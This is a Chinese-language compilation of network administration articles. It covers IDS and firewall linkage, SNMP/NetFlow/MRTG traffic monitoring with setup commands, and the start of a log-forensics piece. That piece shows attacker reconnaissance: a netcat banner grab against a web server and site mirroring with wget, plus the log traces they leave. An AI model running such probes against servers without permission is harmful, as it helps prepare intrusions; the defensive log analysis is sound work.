就如理论与实际的区别一样，IDS虽然具有上面所说的众多特性，但在实际的使用中，目前大多数的入侵检测的接入方式都是采用pass-by方式来侦听网络上的数据流，所以这就限制了IDS本身的阻断功能，IDS只有靠发阻断数据包来阻断当前行为，并且IDS的阻断范围也很小，只能阻断建立在TCP基础之上的一些行为，如Telnet、FTP、HTTP等，而对于一些建立在UDP基础之上 就无能为力了。因为防火墙的策略都是事先设置好的，无法动态设置策略，缺少针对攻击的必要的灵活性，不能更好的保护网络的安全，所以IDS与防火墙联动的目的就是更有效地阻断所发生的攻击事件，从而使网络隐患降至较低限度。
接下来，我简单介绍一下IDS与防火墙联动工作原理
入侵检测系统在捕捉到某一攻击事件后，按策略进行检查，如果策略中对该攻击事件设置了防火墙阻断，那么入侵检测系统就会发给防火墙一个相应的动态阻断策略，防火墙根据该动态策略中的设置进行相应的阻断，阻断的时间、阻断时间间隔、源端口、目的端口、源IP 和目的IP等信息，完全依照入侵检测系统发出的动态策略来执行。一般来说，很多情况下，不少用户的防火墙与IDS并不是同一家的产品，因此在联动的协议上面大都遵从 opsec 或者 topsec协议进行通信，不过也有某些厂家自己开发相应的通信规范的。目前总得来说，联动有一定效果，但是稳定性不理想，特别是攻击者利用伪造的包信息，让IDS错误判断，进而错误指挥防火墙将合法的地址无辜屏蔽掉。
因为诸多不足，在目前而言，IDS主要起的还是监听记录的作用。用个比喻来形容：网络就好比一片黑暗，到处充满着危险，冥冥中只有一个出口；IDS就象一支手电筒，虽然手电筒不一定能照到正确的出口，但至少有总比没有要好一些。称职的网管，可以从IDS中 得到一些关于网络使用者的来源和访问方式，进而依据自己的经验进行主观判断（注意，的确是主观判断。例如用户连续ping了服务器半个小时，到底是意图攻击，还是无意中的行为？这都依据网络管理员的主观判断和网络对安全性的要求来确定对应方式。）对IDS 的选择，跟上面谈到的防火墙的选择类似，根据自己的实际要求和使用习惯，选择一个自己够用的，会使用的就足够了。
最后，要说的依然是那句“世界上没有一种技术能真正保证绝对地安全。”安全问题，是从设备到人，从服务器上的每个服务程序到防火墙、IDS等安全产品的综合问题；任何一个环节工作，只是迈向安全的步骤。


网络流量监测与管理
文章作者：邵喻美
网络流量监测与管理
目次
一、 简介 1
二、网络基础 1
（一）OSI参考模型 1
（二）SNMP介绍 2
1. SNMP概述 2
2. SNMP工作原理 3
3. MIB介绍 4
4. 网管系统之简介 4
5. MIB相关工具 5
三、NetFlow 5
（一）NetFlow简介 5
NetFlow versions Supported Platforms 5
（二）执行NetFlow 6
1. 路由器的设定 6
2. 统计分析流程 6
3. 记录及储存flow信息 6
4. 统计分析程序 8
四、MRTG（Multi Router Traffic Grapher） 8
（一） MRTG简介 8
（二）MRTG使用方式 9
1. 取得程序 9
2. 编译MRTG程序（以Unix版本为例） 9
3. 产生MRTG设定档 10
4. 修改MRTG设定档 10
5. 测试MRTG输出 12
6. 自动执行MRTG程序 12
（三）利用MRTG监看其它系统资源 13
1. mrtg-ping-probe 13
2. 系统CPU Load 13
3. DNS Load 14
参考数据 14

网络流量监测与管理
邵喻美
一、 简介
过去几年来，因特网已经成为越来越重要的需求，在台大校园网络的环境里，已经普及到所有系所及实验室都有接点可以连上因特网。不过面对日益复杂的网络联机及逐渐增加的网络流量，系统管理者必须花费更多时间精力来了解这些网络设备的运作状况，以维持一个系统的正常运作。
一般来说，网络管理者所需要了解的是各个网段的使用情形，频宽的使用率，网络问题的瓶颈发生于何处。当网络问题发生时，必须能够很快地区隔出问题的发生原因，可能是线路问题、网络设备问题、或者是路由器的设定问题。一个有经验的管理者要回答这些问题并不难，但是如果所管理的网络范围过于庞大，那么就可能需要一个有效率的网管系统了。透过网管系统可以协助网络架构管理，并显示网络上目前发生的各种流量与运作情形。若发生问题时，也能够减少许多处理时间。
以牵涉的节点数量以及能够在节点上执行的协议组合而言，网络都是一个复杂的系统。即使将范围局限在单一行政范围内，例如校园，还是可能包含数十个路由器及数百、甚至数千台主机。如果考虑在任一节点上保存及处理的所有状态，例如地址转译表、路由表、TCP连接状态等，那么很容易就陷入充满各种数据的茫茫大海中。
我们很容易了解为何需要知道哪些放置在不同节点上各协议的状态。举例来说，我们可能想要监控被中断的IP数据段重组数量，以便判断资源回收部分重组数据段的逾时机制是否需要调整。再举另一个例子，我们可能想要观测各节点上的负载（亦即，传送或接收的封包数），以便判断是否需要为网络增加新的路由器或连结。除此之外，我们也必须注意硬件发生故障及软件失误的征兆。
二、网络基础
（一）OSI参考模型
? 实体层（Physical Layer）：实体层定义的是位传输接口所具备的电子特性、机械特性、功能、以及运作程序。本层包括传输媒介（如同轴缆线、光纤、铜缆线、无线电波等等）、实体连接方式、模块化与框架技术（IEEE802.3 、FDDI等）。所以只要提及串行埠、10BASET缆线、网络适配卡等，指的就是实体层。
? 数据链路层（Data Link Layer）：确保底层的数据传送。服务包含错误侦测与更正、数据加框（如LLC、HDLC、SDLC、IEEE802.2）、MAC同步化。
? 网络层（Network Layer）：网络层提供寻址、选择路径、传送封包至目的网络，如IP、PPP、IPX等。
? 传输层：提供错误侦测与更正，也能以软件进行网络流量控制。例如TCP/UDP。SNMP使用UDP协议。
? 会谈层（Session Layer）：应用程序与网络之间会谈的建立与管理。
? 表达层（Presentation Layer）：表达层实作数据与通讯协议的转换及协商，如ASN.1与BER数据编码。
? 应用层（Application Layer）：由软件应用程序实作，应用程序与网络本身的唯一接触接口。如FTP、Telnet、SNMP等。
应用层 Management, Agent APIs
SNMP
表达层 ASN.1, BER
会谈层 RCP, NetBIOS
传输层 TCP, UDP
网络层 IP, IPX
数据链路层 Ethernet, ARCNet
Token Ring
实体层
（二）SNMP介绍
1. SNMP概述
「简单网络管理协议」（SimpleNetwork Management Protocol, SNMP）顾名思义就是专为网络管理者所设计的网络管理协议，主要目的是用来管理网络上各式各样的设备。
由于SNMP是在TCP/IP网络环境中发展出来的管理通讯协议，因此SNMP在应用上必须使用TCP/IP，被管理的机器必须设定IP地址，同时必须确保线路的连接与正确的路由。
网络上的节点分散各地，因此比较实际的作法便是利用网络来管理网络。这表示我们需要一种能够让管理者对不同网络节点进行读取并可能写入各种状态信息的协议。SNMP实际上是一个特殊的「要求/响应」协议，可支持两种要求讯息：get及put。前者是用来从某些节点取出状态信息，而后者则是用来在某些节点上储存一份新的状态信息。（SNMP也支持第三种动作，get-next，稍后再做解释。）下列讨论着重在get作业，因为这是最常使用的。
SNMP的使用是很明确的：系统管理者与一个显示网络信息的客户端程序进行互动。该客户端程序通常具有一个图形接口。每当管理者选择某种想要取得的信息，客户端程序便利用SNMP向负责的节点要求信息。（SNMP在UDP上执行。）在接收到要求讯息之节点上执行的SNMP服务器将找到适当的讯息，并将其传回给客户端程序，然后显示给使用者参考。
2. SNMP工作原理
SNMP定义了五种Manager与Agent之间的通讯形式。
? Get-request
? Get-next-request
? Set-request
? Get-response
? Trap
前三项都是属于Manager向Agent发出的讯息，后两项则属于Agent向Manager发出的讯息。

每个Agent都是一个执行程序，负责将该网络节点的设定数据以及运作现状以数据结构的方式储存，客户端程序如何表示需要撷取何种信息，以及服务器如何得知应读取内存中的那个变量以符合要求？答案是SNMP根据一个称为「管理信息基础」（Management Information Base, MIB）的伴随规格（companion specification）。当Agent收到网管主机所发出的SNMP get-request、get-next-request、set-request时，便以相对应的MIB数据透过SNMP get-response方式响应。MIB定义了可以从网络节点取得的特定信息，MIB变量。下一节将描述一部份MIB变数。此外，有一种特殊的SNMP命令，称为trap，可允许Agent在特殊的情况下（如error, shutdown）主动发讯息给网管主机。
3. MIB介绍
SNMP定义一个可供管理数据的标准，它定义了网络设备各种信息的储存结构，这种结构是以树状结构为基础，每种变量分支都是唯一的，亦即MIB。目前所使用的版本是MIB-II，定义于RFC-1213。网络设备的TCP/IP数据分为八份，分别为system，interface，addr-translation，ip，icmp，tcp，udp与egp。MIB定义了各分支下的数据项，所包含的数据包括整数，字符串，与窗体内容。见下图举例说明：

4. 网管系统之简介
网络管理是一个相当大规模且重要的领域，一般来说，网管系统的任务就是要能达成掌握网络主机状况，加速故障排除，同时减少网管人员的负担。一些网络或计算机相关厂商也都有网管软件的产品，目前应用最广的就是HP的OpenView，IBM的NetView等，这类型的网管系统强调的是一个整合型的网络管理解决方案，由一个网管的作业平台与许多网管功能的模块所组合而成。上述两种作业平台都有提供基本的网络拓朴功能，MIB Browser，SNMPtool，Data Collection，绘图与网络事件管理功能。从管理者的角度来看，这些功能十分好用，但是这些软件都非常昂贵。除非网络环境具有特殊性或者复杂度，否则便需要考虑一下软件的价格与效能比值不值得。
在一般学校最常用的网管工具就是MRTG，严格来说只具有网管软件中的一小部分功能。MRTG把SNMP所request的数据经过计算后绘成图表，其中最常用的是网络流量统计图，其它如CPU Load，Error Count等亦可支持。由于属于免费软件，因此使用群相当广泛。
最后要提出来说明的是RMON这项产品，当网段上有需要监测的问题时，除了使用Protocol Analyzer到现场去量测之外，最常用的就是把RMON挂到网段上当Agent，然后在Manager端（如HP的OpenView NNM使用netmertix）来接收RMON所收集到的封包，藉由RMON可以使得管理者在远程进行现场的量测动作，对于需要长时间量测以及不规则发生之网络问题状况特别有此必要。
5. MIB相关工具
? Snmpget：fetch an SNMP object
? Snmpwalk：fetch all the SNMP objects from an agent
? Snmpwalkoid：query for a tree of information about a network entity
? Snmp_get_quick_print：fetch the current value of the UCD library’s quick_print setting
? Snmp_set_quick_print：set the value of quick_print within the UCD SNMP library
? Getif：window-based MIB browser
三、NetFlow
（一）NetFlow简介
NetFlow为Cisco之专属协议，提供路由器中第三层之信息，可用来了解该路由器所传输之封包表头内容，依据此内容，我们可以撰写程序将所获得之资料加以统计。一旦收集到路由器上的详细流量数据后，便可为网络流量统计、网络使用量计价、网络规划、网络监测等应用提供计数根据。同时，NetFlow也提供针对QoS（Quality of Service）的测量基准，能够捕捉到每笔数据流的流量分类或优先性特性，而能够进一步根据QoS进行分级收费。
目前Cisco网站上所提供可执行netflow之硬件数据：
NetFlow versions Supported Platforms
Cisco IOS Software Release Version Supported NetFlow Export Version(s) Supported Cisco Hardware Platforms
11.1CA, 11.1CC v1, v5 Cisco 7200, 7500, RSP7000
11.2, 11.2P v1 Cisco 7200, 7500, RSP7000
11.2P v1 Route Switch Module (RSM), 11.2(10)P and later
11.3, 11.3T v1 Cisco 7200, 7500, RSP7000
12.0 v1, v5 Cisco 2600, 3600, 4500, 4700, AS5800, 7200, uBR7200, 7500, RSP7000, RSM
12.0T V1, v5 Cisco 1000*,1600*,1720**, 2500*,2600, 3600, 4500, 4700, AS5800, 7200, uBR7200, 7500, RSP7000, RSM, MGX8800 RPM
12.0(3)T and later v8 Cisco 1000*,1600*,1720**, 2500*,2600, 3600, 4500, 4700, AS5800, 7200, uBR7200, 7500, RSP7000, RSM, MGX8800 RPM
N/A v7 Catalyst 5000 NetFlow Feature Card (NFFC)
（参考http://www.cisco.com/warp/public/cc/pd/iosw/ioft/neflct/tech/napps_wp.htm）
（二）执行NetFlow
1. 路由器的设定
在收集netflow数据之前，必须先在路由器上设定flow数据的传送方式。首先，login到router并在global执行以下指令：
ip flow-export destination <IP> <port>
例如：ip flow-export destination 10.112.0.1 9991。除此之外，还要在欲捕捉数据的接口上设定：ip route-cache flow。如此一来，router便会开始将flow信息向IP 10.112.0.1端口号为9991送出封包（协议为UDP），而10.112.0.1即开始接收netflow的数据，此时只需要在该台机器上执行程序即可进行统计。
2. 统计分析流程
进行统计分析的流程可分为两个阶段：
（1） 在机器上固定执行一个常驻程序（daemon），负责收集路由器送出的UDP封包，并且写入硬盘。
（2） 分析log file，并且产生所需之报表。
3. 记录及储存flow信息
首先，从网络下载flow-tool程序包（http://ftp.eng.oar.net/pub/flow-tools-0.58.tar.gz），其中包含数种用来收集及统计数据的程序，分列如下：
? flow-capture - collect flows from an exporter and store them to disk. Disk space is managed by expiring (removing) old flow files based on a configurable archive size or number of files.
? flow-cat - concatenate flow files.
? flow-dscan - detect network scanning and other suspicious activity
? flow-expire - expire (remove) old flow files.
? flow-fanout - fanout flows from a exporter to multiple collectors. Also supports multicast.
? flow-gen - Generate flows for testing.
? flow-header - Display flow file meta information.
? flow-merge - Merge flows files so that records are preserved in relative chronological order.
? flow-print - Formatted ASCII output.
? flow-receive - Receive flows in NetFlow format from a network.
? flow-send - Send flows over a network in NetFlow format.
? flow-split - Split flow files into smaller files.
? flow-stat - Generate usage reports based on IP address, IP address pairs, ports, packets, bytes, interfaces, next hops, autonomous systems, ToS bits, exporters, and tags.
? flow-xlate - Translate various fields of flow recrods.
flow-tool程序包安装步骤如下（以Linux系统为例）：
（1） 先确定机器上已安装下列程序：
? zlib：ftp://ftp.freesoftware.com/pub/infozlib/zlib/
? gnu make：ftp://ftp.gnu.org/pub/gnu/make/make-3.79.1.tar.gz
（2） 将档案解压缩到一个目录下，例如
zcat flow-tools-0.58.tar.gz | tar xvf -
解开后执行下列指令：
./configure
gmake
gmake install
（3） 若已将路由器设定为打开netflow，可利用flow-receive确认主机是否已开始接收flow数据，例如：
flow-receive 0/0/9991 | flow-print
（4） 执行flow-capture将flow数据储存下来，其指令格式为flow-capture –z Z –n N –e E –p P –w W，其中参数意义如下：
Z – 压缩比例
N – 每日留存份数
E – 共留存几份在硬盘中
P – 埠号
W – 存放路径
例如：flow-capture –z 6 –n 143 –e 1500 –p 9991 –w /netflow，其中，压缩率约6就差不多了，设定更高的参数不见得可以多压多少，一天留144份，也就是10分钟rotate一次log file，方便我们做细部统计，一共留存1500份，也就是10天左右，最后一项参数表示把所有log file都放在/netflow目录下。
之后，便可将此指令加入 /usr/local/etc/rc.d 目录下，让机器一开机便执行此常驻程序。
（5） 收集一段时间的数据之后，可透过flow-print指令列出log file的内容，例如：flow-print –f0 < logfile，所显示字段由左至右分别为：
Source Interface Source IP Destination Interface Destination IP Protocol Source Port Destination Port Packets Octects
4. 统计分析程序
在netflow流量数据捕捉并储存下来之后，便可根据其格式及所欲统计的项目撰写程序进行统计分析。目前从网络上可下载国立交通大学发展的netflow统计程序（http://netflow.nctu.edu.tw/netflow.html），该程序以perl撰写，通常必须根据各自的架构及需求予以修改后方能适用。以交大发展的netflow.pl程序为例，以一日为单位统计当天的流量，可针对网段、协议、流入／流出之IP网段进行合计或Top统计。台大为了取得更实时的数据，将该程序修改为每10分钟统计一次，便能够了解过去十分钟的流量。
四、MRTG（Multi Router Traffic Grapher）
（一） MRTG简介
MRTG（Multi Router Traffic Grapher）是一种用来监测网络连结上之流量的工具。MRTG会产生包含PNG图形的HTML网页，可为网络流量提供生动的视觉呈现效果。
MRTG软件中包含一个perl程序，利用SNMP读取路由器等网络设备的流量计数，以及一个C程序可将流量数据记录下来，并为所监控之网络连结上的流量产生图形式表现。这些图形会被包含在网页中，并可从任何网页浏览器读取。
MRTG除了能够提供详细的每日流量记录，同时也能够以相同的视觉呈现方式产生过去七天，过去四周，以及过去12个月的流量记录。能够做到这点是因为MRTG把从路由器取得的所有数据都记录下来。这些记录会自动合计，所以不至于随着时间成长地太大，不过仍保留足够提供过去两年来流量趋势的信息。这些程序以很有效率的方式进行，因此我们能够从任何UNIX系统监测200段或更多网络连结。
MRTG并不仅限于监测流量，我们也可以利用MRTG来监测任何SNMP参数。我们甚至可以运用外部程序来收集想要用MRTG进行监控的数据，例如系统负载、登入数量等，或者将二或多项数据来源结合在单一图形内以利观察。
（二）MRTG使用方式
1. 取得程序
最新版本的MRTG程序可从http://people.ee.ethz.ch/~oetiker/webtools/mrtg/pub/ 处下载，其中包含Unix原始程序代码、编译好的Win32程序、以及MRTG Linux RPM，目前最新版本是mrtg-2.9.18。
2. 编译MRTG程序（以Unix版本为例）
在编译Unix版MRTG原始程序代码之前，必须先确定机器上已安装GCC编译程序及perl程序。除此之外，由于MRTG会产生PNG格式的图形文件，因此必须先安装几种链接库：
? gd：这是一套绘图链接库，用来处理PNG格式的图形文件，可从http://www.boutell.com/gd/ 处下载。
? libpng：这是gd在产生PNG图形文件时需要的链接库，可从http://www.libpng.org/pub/png/src/ 处取得。
? zlib：这是libpng压缩图形文件时需要的链接库，可从http://www.gzip.org/zlib 处下载。
当上述链接库都安装好了之后，便可开始编译MRTG程序。首先解开原始码压缩档，并切换至该目录下：
gunzip –c mrtg-2.9.18.tar.gz | tar xvf –
cd mrtg-2.9.18
接下来便可编译程序代码：
./configure –prefix=/usr/local/mrtg-2
或者也可以指定各必要程序的路径：
./configure - -prefix=/usr/local/mrtg-2 \
- -with-gd=/usr/local/src/gd \
- -with-z=/usr/local/src/zlib \
- -with-png=/usr/local/src/libpng
configure程序可确认系统环境已适合安装MRTG程序，如果都没有问题，目录下便会增加一个专为该系统产生的Makefile。接下来便可执行：
make
此动作会建立rateup程序，并修改scripts中的所有路径名称。现在便可安装mrtg程序：
make install
到此为止，mrtg需要的所有软件都已经安装在/usr/local/mrtg-2目录下了。

3. 产生MRTG设定档
当mrtg程序安装完成后还无法立刻开始监测网络设备，因为我们必须给予mrtg程序适当的组态设定，方能让mrtg程序执行针对特定网络设备收集特定数据、将数据存放于特定路径、以所指定的格式输出图形文件及网页等动作，而这些特殊设定都定义在mrtg.cfg档案中。MRTG软件中提供一个cfgmaker程序，可针对所欲监测的路由器产生必要的设定档：
cfgmaker --global 'WorkDir: /home/httpd/mrtg' \
--global 'Options[_]: bits,growright' \
--output /home/mrtg/cfg/mrtg.cfg \
community@router.abc.xyz
上述范例会对router.abc.xyz这台网络设备收集流量数据，并对输出图形设定bits及growright选项，同时在/home/mrtg/cfg目录下产生mrtg.cfg设定文件，而所有产生的图形及网页都会放置在 /home/httpd/mrtg 目录下。
MRTG软件包中还有一个程序indexmaker，可将mrtg.cfg组态档中每个Target的website做个简单的index file，例如：
indexmaker –enumerate –columns=2 –section=title –output index.html mrtg.cfg
4. 修改MRTG设定档
利用cfgmaker产生的mrtg.cfg便能够产生基本的mrtg流量图数据，但是如果想要得到较特别的输出数据，便必须修改mrtg设定档。在mrtg设定档中可分为Global及个别Target的定义部分，以Global而言，可定义多种选项，例如下列：
? WorkDir：指定所产生之logfile及网页之存放路径（此设定优先于
? HtmlDir：指定所产生之HTML档案存放路径
? ImageDir：指定所产生之Image档案存放路径
? LogDir：指定logfile存放路径
? Refresh：设定浏览器重新加载网页的时间间隔（以秒计），默认值为300秒。
? Interval：执行mrtg程序的时间间隔，默认值为5分钟
若针对各Target可设定下列选项：
? Target：此设定告诉mrtg应该监测哪一台机器。此参数的格式相当多样，例如：
? 最常见的基本格式为 ”port:community@router”，此设定会让mrtg程序针对”router”这台主机（dns名称或IP）的”port”接口产生流量图，并且以”community”作为community（snmp password）进行snmp query。
Example: Target[test]: 2:public@router.ntu.edu.tw
? 在Target叙述之前加一个负号（”-“）可将incoming及outgoing的流量反过来
Example: Target[test]: -2:public@router.ntu.edu.tw
? 可在叙述中明确指定所欲取得信息的OID，语法为 ”OID_1&OID_2:community@router.ntu.edu.tw”。由于mrtg必须为两项变量绘图，所以指定两个OID，如下例所示：
Target[test]: 1.3.6.1.2.1.2.2.1.14.1&1.3.6.1.2.1.2.2.1.20.1:public@myrouter
? MRTG能够辨认数种SNMP变量名称，所以可能在叙述中直接指定名称（全部名称可参阅http://people.ee.ethz.ch/~oetiker/webtools/mrtg/mibhelp.html），例如：
Target[ezwf]: ifInErrors.1&ifOutErrors.1:public@myrouter
? 有时为了确定mrtg抓到正确接口的数据，我们可在Target中指定IP地址：
Target[ezwf]: /1.2.3.4:public@myrouter
Target[ezci]: -/1.2.3.4:public@myrouter
Target[ezwf]: .3.6.1.2.1.2.2.1.14/1.2.3.4&1.3.6.1.2.1.2.2.1.14/1.2.3.4:public@myrouter
Target[ezwf]: ifInErrors/1.2.3.4&ifOutErrors/1.2.3.4:public@myrouter
? 如果不能使用IP地址，也可指定接口名称：
Target[ezwf]: \My-Interface2:public@myrouter
Target[ezci]: -\My-Interface2:public@myrouter
Target[ezwf]: 1.3.6.1.2.1.2.2.1.14\My-Interface2&1.3.6.1.2.1.2.2.1.14\My-Interface3:public@myrouter
Target[ezwf]: ifInErrors\My-Interface2&ifOutErrors\My-Interface3:public@myrouter
? 如果为了避免因接口index变动造成mrtg图数据错误，可在Target中指定接口的硬件地址。Mrtg软件包中提供一个指定”cfgmaker_phys”，可将接口index或IP地址转换成硬件地址：
cfgmaker_phys old.cfg > new.cfg
cfgmaker public@router | cfgmaker_phys > new.cfg
在Target设定中的格式如下：
Target[ezwf]: !0a-0b-0c-0d:public@wellfleet-fddi.ethz.ch
Target[ezci]: -!0-f-bb-05-71-22:public@ezci-ether.ethz.ch
Target[ezwf]: 1.3.6.1.2.1.2.2.1.14!0a-00-10-23-44-51&!0a-00-10-23-44-51:public@myrouter
Target[ezwf]: ifInErrors!0a-00-10-23-44-51&ifOutErrors!0a-00-10-23-44-51:public@myrouter
? 在community@router后面，可以加上其它SNMP沟通用的参数，其语法如下：
community@router[:[port][:[timeout][:[retries][:[backoff][:version]]]]]
? 如果要监测非透过SNMP提供的数值，可利用外部程序收集数据。外部程序必须传回四行输出数据。
第一行：第一个参数值，例如”incoming bytes count”
第二行：第二个参数值，例如”outgoing bytes count”
第三行：表示系统uptime的字符串
第四行：表示Target名称的字符串
例如：
Target[ezwf]: `/usr/local/bin/df2mrtg /dev/dsk/c0t2d0s0`
? 我们也可以将多个叙述式组合成一个数学式，表示将多笔资料加总起来，如下所示：
Target[ezwf]: 2:public@wellfleetA + 1:public@wellfleetA * 4:public@ciscoF
MRTG组态文件中的设定选项相当多，可参考MRTG设定说明（http://people.ee.ethz.ch/~oetiker/webtools/mrtg/config.html），其中提供各选项的说明及范例。
5. 测试MRTG输出
当mrtg组态档修改完成后，可执行mrtg mrtg.cfg，如果一切正确的话，应该会在WorkDir目录下产生HTML文件及一些png图档，便可开启这些HTML档检查产生的输出是否如预期结果。
6. 自动执行MRTG程序
一般透过MRTG要观察的是长期趋势，因此必须将MRTG设定为连续定期执行，方能将收集到网络信息描绘成连续图形。以Unix系统为例，通常以编写crontab达到此效果，例如执行：
crontab –e
并在crontab中加入类似下面这行设定：
0,5,10,15,20,25,30,35,40,45,50,55 * * * * /mrtg/bin/mrtg /mrtg/conf/mrtg.cfg
如此便会每5分钟执行一次mrtg程序而得到网络流量图。
（三）利用MRTG监看其它系统资源
其实MRTG的原理就是将收集到的数据绘成图形以便于观察实时状况及长期趋势，因此不论是让MRTG透过SNMP向远程网络设备取得接口数据，或者透过外部程序产生数据，都可以达到相同的效果。接下来要介绍几种从网络上取得可以与MRTG结合的外部程序，系统管理者也可以自行撰写程序，只要程序输出结果符合MRTG程序读取数据的格式即可。
1. mrtg-ping-probe
可利用此程序测量与其它网络设备之间的来回时间及封包遗失率。mrtg-ping-probe程序可从网络上直接下载，其网址为ftp://ftp.pwo.de/pub/pwo/mrtg/mrtg-ping-probe/，目前最新的版本是mrtg-ping-probe-2.0.2。mrtg-ping-probe的执行方式是：
mrtg-ping-probe <host>
mrtg-ping-probe –o <ping options> -p <item>/<item> <host>
执行后会输出两行数据，分别为maximum和minimum的来回时间。”-p”选项，可指定想要程序传回的数值，此项目可为<min>，<max>，<avg>，<loss>，或一个整数，其中每个项目都可乘上某个倍数。如果没有指定”-p”选项，默认值为<min>/<max>。因此如果要取得两点之间的packet loss数值，便可执行：
mrtg-ping-probe –p loss/loss host.domain.name
一旦mrtg-ping-probe可产生数值，便可将此程序纳入mrtg组态文件中的Target选项，让mrtg程序将其输出值绘成图形，例如：
Target[yahoo.com]: ‘/usr/local/mrtg/mrtg-ping-probe http://www.yahoo.com/’
2. 系统CPU Load
除了网络流量及状况可利用MRTG观测状况之外，我们也可以针对服务器的运作状况收集数据，让MRTG程序将之绘成图形以利监测。在http://perso.wanadoo.fr/sebastien.godard/ 提供的sysstat软件包，可用来收集系统CPU信息。Sysstat将会安装crontab，让系统定期（默认值为一小时）执行Unix系统提供的sa1指令。Sysstat中还包含一个perl程序，从sa1定期收集到的数据中取出最近的数据。接下来，我们便可在mrtg组态档的Target处设定：
Target[server]: ‘/the/path/of/perl.script’
3. DNS Load
除了系统整体的CPU负载之外，我们有时也会想针对某种特定应用的负荷量进行观测，例如DNS服务器的统计数据。MRTG软件包中便附带一个perl程序可帮助我们取得相关信息，contrib/stat/stat.pl（MRTG的contrib目录下提供许多很有用的统计数据收集程序）。在将stat.pl程序加入mrtg组态文件之前，必须先在crontab中加入一个script，让DNS服务器定期产生named.stats档，并将旧的named.stats档删除：
#!/bin/sh
rm /var/named/named.stats
/usr/local/sbin/ndc stats
至于stat.pl档案中，$HOSTNAME，$LOG，$RUN等参数必须根据系统环境修改，之后便可设定在mrtg组态当的Target定义中：
Target[dns]: ‘/usr/local/mrtg/stat.pl’

参考数据
1. Cisco IOS NetFlow（http://www.cisco.com/warp/public/732/Tech/nmp/netflow/）
2. Multi Router Traffic Grapher（http://people.ee.ethz.ch/~oetiker/webtools/mrtg/）
3. NetFlow流量分析说明（国立交通大学提供）http://netflow.nctu.edu.tw/netflow.html


从服务器的记录寻找黑客的蛛丝马迹
当服务器被攻击时，最容易被人忽略的地方，就是记录文件，服务器的记录文件了黑客活动的蛛丝马迹。在这里，我为大家介绍一下两种常见的网页服务器中最重要的记录文件，分析服务器遭到攻击后，黑客在记录文件中留下什么记录。
    目前最常见的网页服务器有两种：Apache和微软的Internet Information Server （简称IIS）。这两种服务器都有一般版本和SSL认证版本，方便黑客对加密和未加密的服务器进行攻击。
    IIS的预设记录文件地址在 c:\\winnt\\system32\\logfiles\\w3svc1的目录下，文件名是当天的日期，如yymmdd.log。系统会每天产生新的记录文件。预设的格式是W3C延伸记录文件格式（W3C Extended Log File Format），很多相关软件都可以解译、分析这种格式的档案。记录文件在预设的状况下会记录时间、客户端IP地址、method（GET、POST等）、URI stem（要求的资源）、和HTTP状态（数字状态代码）。这些字段大部分都一看就懂，可是HTTP状态就需要解读了。一般而言，如果代码是在200到299代表成功。常见的200状态码代表符合客户端的要求。300到399代表必须由客户端采取动作才能满足所提出的要求。400到499和500到599代表客户端和服务器有问题。最常见的状态代码有两个，一个是404，代表客户端要求的资源不在服务器上，403代表的是所要求的资源拒绝服务。Apache记录文件的预设储存位置在/usr/local/apache/logs。最有价值的记录文件是access_log，不过 ssl_request_log和ssl_engine_log也能提供有用的资料。 access_log记录文件有七个字段，包括客户端IP地址、特殊人物识别符、用户名称、日期、Method Resource Protocol（GET、POST等；要求哪些资源；然后是协议的版本）、HTTP状态、还有传输的字节。
    我在这里所用的是与黑客用的相似的模拟攻击网站方式和工具。（注意：在本文中所介绍的方法请大家不要试用，请大家自觉遵守网络准则！）
    网页服务器版本是很重要的信息，黑客一般先向网页服务器提出要求，让服务器送回本身的版本信息。只要把「HEAD / HTTP/1.0」这个字符串用常见的netcat utility（相关资料网址：http://www.l0pht.com/~weld/netcat/）和OpenSSL binary（相关资料网址：http://www.openssl.org/）送到开放服务器的通讯端口就成了。注意看下面的示范：

C:>nc -n 10.0.2.55 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Sun, 08 Mar 2001 14:31:00 GMT
Content-Type: text/html
Set-Cookie: ASPSESSIONIDGQQQQQPA=IHOJAGJDECOLLGIBNKMCEEED; path=/
Cache-control: private
    这种形式的要求在IIS和Apache的记录文件中会生成以下记录：
IIS: 15:08:44 11.1.2.80 HEAD /Default.asp 200
Linux: 11.1.2.80 - - [08/Mar/2001:15:56:39 -0700] \"HEAD / HTTP/1.0\" 200 0
    虽然这类要求合法，看似很平常，不过却常常是网络攻击的前奏曲。access_log和IIS的记录文件没有表明这个要求是连到SSL服务器还是一般的网页服务器，可是Apache的 ssl_request_log和ssl_engine_log（在/usr/local/apache/logs目录下）这两个记录文件就会记录是否有联机到SSL服务器。请看以下的ssl_request_log记录文件：
[07/Mar/2001:15:32:52 -0700] 11.1.1.50 SSLv3 EDH-RSA-DES-CBC3-SHA \"HEAD / HTTP/1.0\" 0
    第三和第四个字段表示客户端使用的是哪种加密方式。以下的ssl_request_log分别记录从OpenSSL、 Internet Explorer和Netscape客户端程序发出的要求。
[07/Mar/2001:15:48:26 -0700] 11.1.1.50 SSLv3 EDH-RSA-DES-CBC3-SHA \"GET / HTTP/1.0\" 2692
[07/Mar/2001:15:52:51 -0700] 10.0.2.55 TLSv1 RC4-MD5 \"GET / HTTP/1.1\" 2692
[07/Mar/2001:15:54:46 -0700] 11.1.1.50 SSLv3 EXP-RC4-MD5 \"GET / HTTP/1.0\" 2692
[07/Mar/2001:15:55:34 -0700] 11.1.2.80 SSLv3 RC4-MD5 “GET / HTTP/1.0” 2692
另外黑客通常会复制一个网站（也就是所谓的镜射网站。），来取得发动攻击所需要的信息。网页原始码中的批注字段常有目录、文件名甚至密码的有用资料。复制网站常用的工具包括窗口系统的Teleport Pro（网址：http://www.tenmax.com/teleport/pro/home.htm）和Unix系统的wget（网址：http://www.gnu.org/manual/wget/）。在这里我为大家分析wget和TeleportPro这两个软件攻击网页服务器后记录文件中的内容。这两个软件能全面快速搜寻整个网站，对所有公开的网页提出要求。只要检查一下记录文件就知道，要解译镜射这个动作是很简单的事。以下是IIS的记录文件：
16:28:52 11.1.2.80 GET /Default.asp 200
16:28:52 11.1.2.80 GET /robots.txt 404
16:28:52 11.1.2.80 GET /header_protecting_your_privacy.gif 200
16:28:52 11.1.2.80 GET /header_fec_reqs.gif 200
16:28:55 11.1.2.80 GET /photo_contribs_sidebar.jpg 200
16:28:55 11.1.2.80 GET /g2klogo_white_bgd.gif 200
16:28:55 11.1.2.80 GET /header_contribute_on_line.gif 200
注：11.1.2.80这个主机是Unix系统的客户端，是用wget软件发出请求。
16:49:01 11.1.1.50 GET /Default.asp 200
16:49:01 11.1.1.50 GET /robots.txt 404
16:49:01 11.1.1.50 GET /header_contribute_on_line.gif 200
